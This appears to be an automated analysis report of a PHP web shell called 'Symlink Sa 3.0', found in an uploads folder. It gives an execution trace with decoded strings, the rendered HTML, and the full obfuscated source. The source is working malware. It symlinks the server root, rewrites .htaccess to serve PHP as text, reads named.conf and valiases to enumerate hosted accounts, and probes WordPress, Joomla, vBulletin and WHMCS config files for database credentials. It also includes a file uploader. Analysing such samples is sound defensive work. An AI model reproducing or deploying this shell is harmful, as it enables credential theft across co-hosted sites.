1 A /var/www/html/uploads/sm.php 16 $IIIIIIIIIlI1 = 'sm.php'
2 46 0 0.003708 763136 base64_decode 0 /var/www/html/uploads/sm.php 17 1 'PGJyIC8+PGRpdiBjbGFzcz0iaGVkciI+IFN5bWxpbmsgU2EgMy4wIDxiciAvPjwvZGl2Pg=='
2 46 1 0.003725 763280
2 46 R '<br /><div class="hedr"> Symlink Sa 3.0 <br /></div>'
2 47 0 0.003742 763136 base64_decode 0 /var/www/html/uploads/sm.php 18 1 'PGJyIC8+PGRpdiBjbGFzcz0iaGVkciI+LTpbIFVzZXIgJiBEb21haW5zICYgU3ltbGluayBdOi08YnIgLz48YnIgLz48L2Rpdj4='
2 47 1 0.003760 763296
2 47 R '<br /><div class="hedr">-:[ User & Domains & Symlink ]:-<br /><br /></div>'
2 48 0 0.003778 763136 base64_decode 0 /var/www/html/uploads/sm.php 19 1 'PGRpdiBjbGFzcz0iY29udCI+DQoNCls8YSBocmVmPSI/Ij4gSG9tZSA8L2E+XQ0KDQpbPGEgaHJlZj0iP3N3cz1zeW0iPiBVc2VyICYgRG9tYWlucyAmIFN5bWxpbmsgPC9hPl0NCg0KWzxhIGhyZWY9Ij9zd3M9c2VjIj4gRG9tYWlucyAmIFNjcmlwdCA8L2E+XQ0KDQpbIDxhIGhyZWY9Ij9zd3M9ZmlsZSI+IFN5bWxpbmsgRmlsZSA8L2E+XQ0KDQpbPGEgaHJlZj0iP3N3cz1wYXNzd2QiPiBTeW1saW5rIEJ5cGFzcyA8L2E+XQ0KDQo8YnIgLz48YnIgLz4NCg0KWyA8YSBocmVmPSI/c3dzPXJlYWQiPiBCeXBhc3MgUmVhZCA8L2E+XQ0KDQpbIDxhIGhyZWY9Ij9zd3M9am9vbWxhIj4gTWFzcyBKb29tbGEgPC9hPl0NCg0KWyA8YSBocmVmPSI/c3dzPXdwIj4gTWFzcyBXb3JkUHJl'
2 48 1 0.003809 763936
2 48 R '<div class="cont">\r\n\r\n[<a href="?"> Home </a>]\r\n\r\n[<a href="?sws=sym"> User & Domains & Symlink </a>]\r\n\r\n[<a href="?sws=sec"> Domains & Script </a>]\r\n\r\n[ <a href="?sws=file"> Symlink File </a>]\r\n\r\n[<a href="?sws=passwd"> Symlink Bypass </a>]\r\n\r\n<br /><br />\r\n\r\n[ <a href="?sws=read"> Bypass Read </a>]\r\n\r\n[ <a href="?sws=joomla"> Mass Joomla </a>]\r\n\r\n[ <a href="?sws=wp"> Mass WordPress </a>]\r\n\r\n[ <a href="?sws=vb"> Mass vBulletin </a>]\r\n\r\n[ <a href="?sws=help"> Help'
2 49 0 0.003839 763136 base64_decode 0 /var/www/html/uploads/sm.php 20 1 'c3dz'
2 49 1 0.003851 763200
2 49 R 'sws'
2 50 0 0.003865 763136 base64_decode 0 /var/www/html/uploads/sm.php 670 1 'PGJyIC8+PGJyIC8+PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0idXBsb2FkZXIiIGlkPSJ1cGxvYWRlciI+'
2 50 1 0.003884 763360
2 50 R '<br /><br /><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'
2 51 0 0.003903 763136 base64_decode 0 /var/www/html/uploads/sm.php 671 1 'PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHZhbHVlPSJDaG9vc2UgZmlsZSIgc2l6ZT0iNjAiID48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPg=='
2 51 1 0.003923 763392
2 51 R '<input type="file" name="file" value="Choose file" size="60" ><input name="_upl" type="submit" id="_upl" value="Upload"></form>'
2 52 0 0.003943 763136 base64_decode 0 /var/www/html/uploads/sm.php 672 1 'X3VwbA=='
2 52 1 0.003955 763208
2 52 R '_upl'
2 53 0 0.003970 763136 base64_decode 0 /var/www/html/uploads/sm.php 672 1 'VXBsb2Fk'
2 53 1 0.003984 763208
2 53 R 'Upload'
2 54 0 0.003998 763136 base64_decode 0 /var/www/html/uploads/sm.php 676 1 'DQo8YnIgLz48YnIgLz48YnIgLz48L2I+PC9iPjxkaXYgY2xhc3M9ImZvdCI+Q29kM2QgYnkgPGI+UzNuNHQwMHI8L2I+IElkZWEgYnkgPGI+TXIuQWxzYTNlazwvYj4NCjxiciAvPjxiciAvPg0KPGIgc3R5bGU9ImNvbG9yOiByZWQiOz4gICBTZWMtdy5Db20gIDwvYj4NCjxiciAvPjxiciAvPg0KTXVzbGltcyBIYWNrZXJzPC9kaXY+IA=='
2 54 1 0.004020 763488
2 54 R '\r\n<br /><br /><br /></b></b><div class="fot">Cod3d by <b>S3n4t00r</b> Idea by <b>Mr.Alsa3ek</b>\r\n<br /><br />\r\n<b style="color: red";> Sec-w.Com </b>\r\n<br /><br />\r\nMuslims Hackers</div> '
2 55 0 0.004044 763136 base64_decode 0 /var/www/html/uploads/sm.php 683 1 'PC9kaXY+DQoNCjxhIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjRjRGNEY0OyIgdGl0bGU9Ij8/Pz8/Pz8iL2hyZWY9Imh0dHA6Ly9zZWMtdy5jb20vY2MiPj8/Pz8/Pz88L2E+DQoNCjxhIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjRjRGNEY0OyIgdGl0bGU9Ij8/Pz8gPz8/Pz8/PyIvaHJlZj0iaHR0cDovL3NlYy13LmNvbS9jYyI+Pz8/PyA/Pz8/Pz8/PC9hPg0KDQoNCg0KPC9ib2R5Pg0KDQo8L2h0bWw+DQo='
2 55 1 0.004067 763552
2 55 R '</div>\r\n\r\n<a style="text-decoration: none; color: #F4F4F4;" title="???????"/href="http://sec-w.com/cc">???????</a>\r\n\r\n<a style="text-decoration: none; color: #F4F4F4;" title="???? ???????"/href="http://sec-w.com/cc">???? ???????</a>\r\n\r\n\r\n\r\n</body>\r\n\r\n</html>\r\n'
2 56 0 0.004090 763136 base64_decode 0 /var/www/html/uploads/sm.php 684 1 ''
2 56 1 0.004103 763200
2 56 R ''
2 57 0 0.004115 763136 base64_decode 0 /var/www/html/uploads/sm.php 685 1 'd3d3LlNoM2xsLlVz'
2 57 1 0.004129 763216
2 57 R 'www.Sh3ll.Us'
1 A /var/www/html/uploads/sm.php 685 $IIIIIIII1lII = 'www.Sh3ll.Us'
2 58 0 0.004154 763184 base64_decode 0 /var/www/html/uploads/sm.php 686 1 'SUlJSUlJSWxJbGwx'
2 58 1 0.004166 763264
2 58 R 'IIIIIIIlIll1'
1 3 1 0.004188 763520
1 59 0 0.004196 763552 Error->__toString 0 Unknown 0 0
2 60 0 0.004209 763632 Error->getTraceAsString 0 Unknown 0 0
2 60 1 0.004221 763888
2 60 R '#0 {main}'
1 59 1 0.004236 764184
1 59 R 'Error: Call to undefined function ereg() in /var/www/html/uploads/sm.php:686\nStack trace:\n#0 {main}'
0.004286 684352
TRACE END [2023-02-12 22:50:49.389926]
Generated HTML code
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Symlink_Sa 3.0</title>
<style type="text/css">
html,body {
margin: 0;
padding: 0;
outline: 0;
}
a{
font-size: 13px;
}
body {
direction: ltr;
background-color:#F4F4F4;
color: rgb(153, 153, 153);
text-align: center
}
input,textarea,select{
font-weight: bold;
color: #000000;
}
input,textarea,select:hover{
box-shadow: 0px 0px 4px #AAAAAA;
}
.hedr {
font-family: Tahoma, Arial, sans-serif ;
font-size: 22px;
}
.cont a{
text-decoration: none;
color:rgb(153, 153, 153);
font-family: Tahoma, Arial, sans-serif ;
font-size: 16px;
text-shadow: 0px 0px 3px ;
}
.cont a:hover{
color: #EEEEEE ;
text-shadow:0px 0px 3px #000000 ;
}
.tmp tr td{
border: solid 1px #BBBBBB;
padding: 2px ;
font-size: 13px;
}
.tmp tr td a {
text-decoration: none;
}
.foter{
font-size: 9pt;
color: #AAAAAA ;
text-align: center
}
.tmp tr td:hover{
box-shadow: 0px 0px 4px #888888;
}
.fot{
font-family:Tahoma, Arial, sans-serif;
font-size: 11pt;
}
.for a : hover{
text-shadow: 0px 0px 1px #3366FF;
}
.ir {
color: #FF0000;
}
</style>
</head>
<body>
<div class="all">
<br><div class="hedr"> Symlink Sa 3.0 <br></div><br><div class="hedr">-:[ User & Domains & Symlink ]:-<br><br></div><div class="cont">
[<a href="?"> Home </a>]
[<a href="?sws=sym"> User & Domains & Symlink </a>]
[<a href="?sws=sec"> Domains & Script </a>]
[ <a href="?sws=file"> Symlink File </a>]
[<a href="?sws=passwd"> Symlink Bypass </a>]
<br><br>
[ <a href="?sws=read"> Bypass Read </a>]
[ <a href="?sws=joomla"> Mass Joomla </a>]
[ <a href="?sws=wp"> Mass WordPress </a>]
[ <a href="?sws=vb"> Mass vBulletin </a>]
[ <a href="?sws=help"> Help </a>]
<br><br><br>
</div><br><br><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" value="Choose file" size="60"><input name="_upl" type="submit" id="_upl" value="Upload"></form>
<br><br><br><div class="fot">Cod3d by <b>S3n4t00r</b> Idea by <b>Mr.Alsa3ek</b>
<br><br>
<b style="color: red" ;=""> Sec-w.Com </b>
<br><br>
Muslims Hackers</div> </div>
<a style="text-decoration: none; color: #F4F4F4;" title="???????" href="http://sec-w.com/cc">???????</a>
<a style="text-decoration: none; color: #F4F4F4;" title="???? ???????" href="http://sec-w.com/cc">???? ???????</a>
</body></html>Original PHP code
<?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$GLOBALS['OOO0000O0']=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}.$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$GLOBALS['OOO0000O0'].=$GLOBALS['OOO0000O0']{3}.$OOO000000{11}.$OOO000000{12}.$GLOBALS['OOO0000O0']{7}.$OOO000000{5};?><?php eval($GLOBALS['OOO0000O0']('JEdMT0JBTFNbJ0lJSUlJSUlsbGxsbCddPSdjb3B5JzskR0xPQkFMU1snSUlJSUlJSWxsbGxJJ109J2hlYWRlcic7JEdMT0JBTFNbJ0lJSUlJSUlsbGxJMSddPSdpc19kaXInOyRHTE9CQUxTWydJSUlJSUlJbGxsSUknXT0naW5pX2dldCc7JEdMT0JBTFNbJ0lJSUlJSUlsSTFsMSddPSdteXNxbF9xdWVyeSc7JEdMT0JBTFNbJ0lJSUlJSUlsSTFsSSddPSdteXNxbF9jb25uZWN0JzskR0xPQkFMU1snSUlJSUlJSWxJbGwxJ109J2VyZWcnOyRHTE9CQUxTWydJSUlJSUlJbElJSTEnXT0nZmNsb3NlJzskR0xPQkFMU1snSUlJSUlJSWxJSUlJJ109J3N0cmlwY3NsYXNoZXMnOyRHTE9CQUxTWydJSUlJSUlJSTExMUknXT0naGlnaGxpZ2h0X2ZpbGUnOyRHTE9CQUxTWydJSUlJSUlJSTExbDEnXT0nc2hvd19zb3VyY2UnOyRHTE9CQUxTWydJSUlJSUlJSTExbGwnXT0naHRtbGVudGl0aWVzJzskR0xPQkFMU1snSUlJSUlJSUkxMWxJJ109J2ZpbGVzaXplJzskR0xPQkFMU1snSUlJSUlJSUkxMUkxJ109J2ZyZWFkJzskR0xPQkFMU1snSUlJSUlJSUkxbGxJJ109J3ByZWdfbWF0Y2gnOyRHTE9CQUxTWydJSUlJSUlJSTFJMWwnXT0nc3RycG9zJzskR0xPQkFMU1snSUlJSUlJSUlJMTFJJ109J2ZpbGVvd25lcic7JEdMT0JBTFNbJ0lJSUlJSUlJSTFsMSddPSdwb3NpeF9nZXRwd3VpZCc7JEdMT0JBTFNbJ0lJSUlJSUlJSTFsSSddPSd0cmltJzskR0xPQkFMU1snSUlJSUlJSUlJMUlsJ109J3ByZWdfbWF0Y2hfYWxsJzskR0xPQkFMU1snSUlJSUlJSUlJMUlJJ109J2VyZWdpJzskR0xPQkFMU1snSUlJSUlJSUlJbDExJ109J2ZsdXNoJzskR0xPQkFMU1snSUlJSUlJSUlJbDFJJ109J2ZpbGUnOyRHTE9CQUxTWydJSUlJSUlJSUlsbGwnXT0naXNfZmlsZSc7JEdMT0JBTFNbJ0lJSUlJSUlJSWxsSSddPSdiYXNlbmFtZSc7JEdMT0JBTFNbJ0lJSUlJSUlJSWxJbCddPSdzeW1saW5rJzskR0xPQkFMU1snSUlJSUlJSUlJbElJJ109J2Z3cml0ZSc7JEdMT0JBTFNbJ0lJSUlJSUlJSUkxMSddPSdmb3Blbic7JEdMT0JBTFNbJ0lJSUlJSUlJSUlsbCddPSdjb3VudCc7JEdMT0JBTFNbJ0lJSUlJSUlJSUlsSSddPSdleHBsb2RlJzskR0xPQkFMU1snSUlJSUlJSUlJSUlJJ109J3NldF90aW1lX2xpbWl0Jzs=')); ?><?php
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSUlJ')](0);
error_reporting(0);
$IIIIIIIIIIIl = $GLOBALS['OOO0000O0']('aHR0cDovLw==').$_SERVER[$GLOBALS['OOO0000O0']('U0VSVkVSX05BTUU=')].$_SERVER[$GLOBALS['OOO0000O0']('UkVRVUVTVF9VUkk=')];
$IIIIIIIIIII1 = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxJ')]($GLOBALS['OOO0000O0']('Lw=='),$IIIIIIIIIIIl );
$IIIIIIIIIIIl =str_replace($IIIIIIIIIII1[$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxs')]($IIIIIIIIIII1)-1],$GLOBALS['OOO0000O0'](''),$IIIIIIIIIIIl );
$IIIIIIIIIIl1 = $GLOBALS['OOO0000O0']('ZnRwOi8v').$_SERVER[$GLOBALS['OOO0000O0']('U0VSVkVSX05BTUU=')].$GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sLw==').$_SERVER[$GLOBALS['OOO0000O0']('UkVRVUVTVF9VUkk=')];
$IIIIIIIIIII1 = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxJ')]($GLOBALS['OOO0000O0']('Lw=='),$IIIIIIIIIIl1 );
$IIIIIIIIIIl1 =str_replace($IIIIIIIIIII1[$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxs')]($IIIIIIIIIII1)-1],$GLOBALS['OOO0000O0'](''),$IIIIIIIIIIl1 );
;echo $GLOBALS['OOO0000O0']('ICA8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIg0KICAgICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj4NCg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPg0KDQo8aGVhZD4NCjx0aXRsZT5TeW1saW5rX1NhIDMuMDwvdGl0bGU+DQoNCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQoNCiAgaHRtbCxib2R5IHsNCiAgICAgbWFyZ2luOiAwOw0KICAgICBwYWRkaW5nOiAwOw0KICAgICBvdXRsaW5lOiAwOw0KfQ0KYXsNCg0KIGZvbnQtc2l6ZTogMTNweDsNCg0KfQ0KDQoNCmJvZHkgew0KICAgIGRpcmVjdGlvbjogbHRyOw0KICAgIGJhY2tncm91bmQtY29sb3I6I0Y0RjRGNDsNCgljb2xvcjogcmdiKDE1MywgMTUzLCAxNTMpOw0KICAgIHRleHQtYWxpZ246IGNlbnRlcg0KfQ0KDQoNCg0KaW5wdXQsdGV4dGFyZWEsc2VsZWN0ew0KZm9udC13ZWlnaHQ6IGJvbGQ7DQpjb2xvcjogIzAwMDAwMDsNCn0NCg0KaW5wdXQsdGV4dGFyZWEsc2VsZWN0OmhvdmVyew0KYm94LXNoYWRvdzogMHB4IDBweCA0cHggI0FBQUFBQTsNCn0NCg0KDQouaGVkciB7DQogIGZvbnQtZmFtaWx5OiBUYWhvbWEsIEFyaWFsLCBzYW5zLXNlcmlmICA7DQogIGZvbnQtc2l6ZTogMjJweDsNCg0KDQp9DQoNCi5jb250IGF7DQoNCiB0ZXh0LWRlY29yYXRpb246IG5vbmU7DQogY29sb3I6cmdiKDE1MywgMTUzLCAxNTMpOw0KIGZvbnQtZmFtaWx5OiBUYWhvbWEsIEFyaWFsLCBzYW5zLXNlcmlmICA7DQogZm9udC1zaXplOiAxNnB4Ow0KIHRleHQtc2hhZG93OiAwcHggMHB4IDNweCA7DQp9DQoNCi5jb250IGE6aG92ZXJ7DQoNCg0KICBjb2xvcjogI0VFRUVFRSA7DQogIHRleHQtc2hhZG93OjBweCAwcHggM3B4ICMwMDAwMDAgOw0KDQoNCn0NCg0KLnRtcCB0ciB0ZHsNCg0KYm9yZGVyOiBzb2xpZCAxcHggI0JCQkJCQjsNCg0KcGFkZGluZzogMnB4IDsNCiAgZm9udC1zaXplOiAxM3B4Ow0KfQ0KDQoudG1wIHRyIHRkIGEgew0KICB0ZXh0LWRlY29yYXRpb246IG5vbmU7DQoNCg0KDQp9DQoNCi5mb3RlcnsNCiAgZm9udC1zaXplOiA5cHQ7DQogIGNvbG9yOiAjQUFBQUFBIDsNCiAgdGV4dC1hbGlnbjogY2VudGVyDQp9DQoNCi50bXAgdHIgdGQ6aG92ZXJ7DQoNCmJveC1zaGFkb3c6IDBweCAwcHggNHB4ICM4ODg4ODg7DQoNCn0NCi5mb3R7DQoNCmZvbnQtZmFtaWx5OlRhaG9tYSwgQXJpYWwsIHNhbnMtc2VyaWY7DQoNCiAgZm9udC1zaXplOiAxMXB0Ow0KfQ0KLmZvciBhIDogaG92ZXJ7DQoNCnRleHQtc2hhZG93OiAwcHggMHB4IDFweCAjMzM2NkZGOw0KDQp9DQoNCg0KLmlyIHsNCiAgY29sb3I6ICNGRjAwMDA7DQp9DQoNCg0KDQo8L3N0eWxlPg0KDQo8L2hlYWQ+DQoNCjxib2R5Pg0KDQo8ZGl2IGNsYXNzPSdhbGwnPg0KDQoNCg==');
@mkdir($GLOBALS['OOO0000O0']('c3lt'),0777);
$IIIIIIIIII1I = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
$IIIIIIIIII1l =@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTEx')] ($GLOBALS['OOO0000O0']('c3ltLy5odGFjY2Vzcw=='),$GLOBALS['OOO0000O0']('dw=='));
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbElJ')]($IIIIIIIIII1l ,$IIIIIIIIII1I);
@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbEls')]($GLOBALS['OOO0000O0']('Lw=='),$GLOBALS['OOO0000O0']('c3ltL3Jvb3Q='));
$IIIIIIIIIlI1 = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbGxJ')](__FILE__);
echo $GLOBALS['OOO0000O0']('PGJyIC8+PGRpdiBjbGFzcz0iaGVkciI+IFN5bWxpbmsgU2EgMy4wIDxiciAvPjwvZGl2Pg==') ;
echo $GLOBALS['OOO0000O0']('PGJyIC8+PGRpdiBjbGFzcz0iaGVkciI+LTpbIFVzZXIgJiBEb21haW5zICYgU3ltbGluayBdOi08YnIgLz48YnIgLz48L2Rpdj4=') ;
echo $GLOBALS['OOO0000O0']('PGRpdiBjbGFzcz0iY29udCI+DQoNCls8YSBocmVmPSI/Ij4gSG9tZSA8L2E+XQ0KDQpbPGEgaHJlZj0iP3N3cz1zeW0iPiBVc2VyICYgRG9tYWlucyAmIFN5bWxpbmsgPC9hPl0NCg0KWzxhIGhyZWY9Ij9zd3M9c2VjIj4gRG9tYWlucyAmIFNjcmlwdCA8L2E+XQ0KDQpbIDxhIGhyZWY9Ij9zd3M9ZmlsZSI+IFN5bWxpbmsgRmlsZSA8L2E+XQ0KDQpbPGEgaHJlZj0iP3N3cz1wYXNzd2QiPiBTeW1saW5rIEJ5cGFzcyA8L2E+XQ0KDQo8YnIgLz48YnIgLz4NCg0KWyA8YSBocmVmPSI/c3dzPXJlYWQiPiBCeXBhc3MgUmVhZCA8L2E+XQ0KDQpbIDxhIGhyZWY9Ij9zd3M9am9vbWxhIj4gTWFzcyBKb29tbGEgPC9hPl0NCg0KWyA8YSBocmVmPSI/c3dzPXdwIj4gTWFzcyBXb3JkUHJlc3MgPC9hPl0NCg0KWyA8YSBocmVmPSI/c3dzPXZiIj4gTWFzcyB2QnVsbGV0aW4gPC9hPl0NCg0KWyA8YSBocmVmPSI/c3dzPWhlbHAiPiBIZWxwIDwvYT5dDQoNCjxiciAvPjxiciAvPjxiciAvPg0KDQoNCg0KDQoNCg0KPC9kaXY+');
if(isset($_REQUEST[$GLOBALS['OOO0000O0']('c3dz')]))
{
switch ($_REQUEST[$GLOBALS['OOO0000O0']('c3dz')])
{
case $GLOBALS['OOO0000O0']('c2Vj'):
if(!@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbGxs')]($GLOBALS['OOO0000O0']('bmFtZWQudHh0'))){
$IIIIIIIIIll1 = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDFJ')]($GLOBALS['OOO0000O0']('L2V0Yy9uYW1lZC5jb25m'));
}else{
$IIIIIIIIIll1 = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDFJ')]($GLOBALS['OOO0000O0']('bmFtZWQudHh0'));
}
if(!$IIIIIIIIIll1)
{
die ("<meta http-equiv='refresh' content='0; url=?sws=read'/>");
}
else
{
echo "<div class='tmp'>
<table align='center' width='40%'><td> Domains </td><td> Script </td>";
foreach($IIIIIIIIIll1 as $IIIIIIIIIl1l){
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
if($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMUlJ')]($GLOBALS['OOO0000O0']('em9uZQ=='),$IIIIIIIIIl1l)){
@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMUls')]($GLOBALS['OOO0000O0']('I3pvbmUgIiguKikiIw=='),$IIIIIIIIIl1l,$IIIIIIIII1I1);
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
if(@strlen($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIIII1I1[1][0])) >2){
$IIIIIIIII1ll = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWwx')](@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMTFJ')]($GLOBALS['OOO0000O0']('L2V0Yy92YWxpYXNlcy8=').$IIIIIIIII1I1[1][0]));
$IIIIIIIII11l=$IIIIIIIIIIIl.$GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv').$IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')].$GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHA=');
$IIIIIIIII111=@get_headers($IIIIIIIII11l);
$wp=$IIIIIIIII111[0];
$IIIIIIIIlIIl=$IIIIIIIIIIIl.$GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv').$IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')].$GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocA==');
$IIIIIIIIlII1=@get_headers($IIIIIIIIlIIl);
$IIIIIIIIlIlI=$IIIIIIIIlII1[0];
$IIIIIIIIlIll=$IIIIIIIIIIIl.$GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv').$IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')].$GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhw');
$IIIIIIIIlIl1=@get_headers($IIIIIIIIlIll);
$IIIIIIIIlI1I=$IIIIIIIIlIl1[0];
$IIIIIIIIlI1l=$IIIIIIIIIIIl.$GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv').$IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')].$GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocA==');
$IIIIIIIIlI11=@get_headers($IIIIIIIIlI1l);
$IIIIIIIIllII=$IIIIIIIIlI11[0];
$IIIIIIIIllIl=$IIIIIIIIIIIl.$GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv').$IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')].$GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHA=');
$IIIIIIIIllI1=@get_headers($IIIIIIIIllIl);
$vb=$IIIIIIIIllI1[0];
$IIIIIIIIllll=$IIIIIIIIIIIl.$GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv').$IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')].$GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHA=');
$IIIIIIIIlll1=@get_headers($IIIIIIIIllll);
$IIIIIIIIll1I=$IIIIIIIIlll1[0];
$IIIIIIIIll1l=$IIIIIIIIIIIl.$GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv').$IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')].$GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHA=');
$IIIIIIIIll11=@get_headers($IIIIIIIIll1l);
$IIIIIIIIl1II=$IIIIIIIIll11[0];
$IIIIIIIIl1Il=$IIIIIIIIIIIl.$GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv').$IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')].$GLOBALS['OOO0000O0']('cHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocA==');
$IIIIIIIIl1I1= @get_headers($IIIIIIIIl1Il);
$IIIIIIIIl1lI=$IIIIIIIIl1I1[0];
$IIIIIIIIl1ll=$IIIIIIIIIIIl.$GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv').$IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')].$GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHA=');
$IIIIIIIIl1I1= @get_headers($IIIIIIIIl1ll);
$IIIIIIIIl1l1=$IIIIIIIIl1I1[0];
$IIIIIIIIl11I=$IIIIIIIIIIIl.$GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv').$IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')].$GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocA==');
$IIIIIIIIl11l= @get_headers($IIIIIIIIl11I);
$IIIIIIIIl111=$IIIIIIIIl11l[0];
$IIIIIIII1III=$IIIIIIIIIIIl.$GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv').$IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')].$GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHA=');
$IIIIIIII1IIl= @get_headers($IIIIIIII1III);
$IIIIIIII1II1=$IIIIIIII1IIl[0];
$IIIIIIII1IlI=$IIIIIIIIIIIl.$GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv').$IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')].$GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocA==');
$IIIIIIII1Ill= @get_headers($IIIIIIII1IlI);
$IIIIIIII1Il1=$IIIIIIII1Ill[0];
$IIIIIIII1I1I = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($wp,$GLOBALS['OOO0000O0']('MjAw'));
$IIIIIIII1I11=$GLOBALS['OOO0000O0']('Jm5ic3A7');
if ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($wp,$GLOBALS['OOO0000O0']('MjAw')) == true )
{
$IIIIIIII1I11="<a href='".$IIIIIIIII11l."' target='_blank'>Wordpress</a>";
}
elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIIlIlI,$GLOBALS['OOO0000O0']('MjAw')) == true)
{
$IIIIIIII1I11="<a href='".$IIIIIIIIlIIl."' target='_blank'>Wordpress</a>";
}
elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIIlI1I,$GLOBALS['OOO0000O0']('MjAw')) == true and $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIII1II1,$GLOBALS['OOO0000O0']('MjAw')) == true )
{
$IIIIIIII1I11=" <a href='".$IIIIIIII1III."' target='_blank'>WHMCS</a>";
}
